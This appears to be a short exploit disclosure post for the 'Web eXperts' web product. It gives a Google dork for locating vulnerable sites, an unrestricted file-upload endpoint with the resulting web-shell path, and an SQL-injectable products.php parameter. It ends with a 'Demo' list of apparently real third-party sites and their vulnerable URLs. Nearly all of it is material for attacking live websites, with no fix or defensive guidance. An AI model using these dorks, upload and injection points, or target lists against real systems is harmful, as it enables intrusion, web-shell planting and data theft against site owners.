Web eXperts FileUpload/SQLi vulnerabilities

: Category

 WebApp

: Dork

intext:"Website Design & Developed By Web eXperts"

 :Exploit

Web eXperts suffers from a File Upload/SQLi vulnerabilities

     :1/File Upload

P.O.C

127.0.0.1/[PATH]/addons/imagelibrary/insert_image.php?wysiwyg=

Shell path

site.ltd/uploads/h4x3d.php.jpg

2/SQli

127.0.0.1/products.php?category_id=sql

Demo

http://www.strivesportXs.com//products.php?category_id=1'

http://www.hangal.coXm.pk/addons/imagelibrary/insert_image.php?wysiwyg=

http://www.strivespXorts.com/addons/imagelibrary/insert_image.php?wysiwyg=

http://www.sarsonXss.com/products.php?category_id=1'

http://www.sirgeXeintl.com/products.php?category_id=1'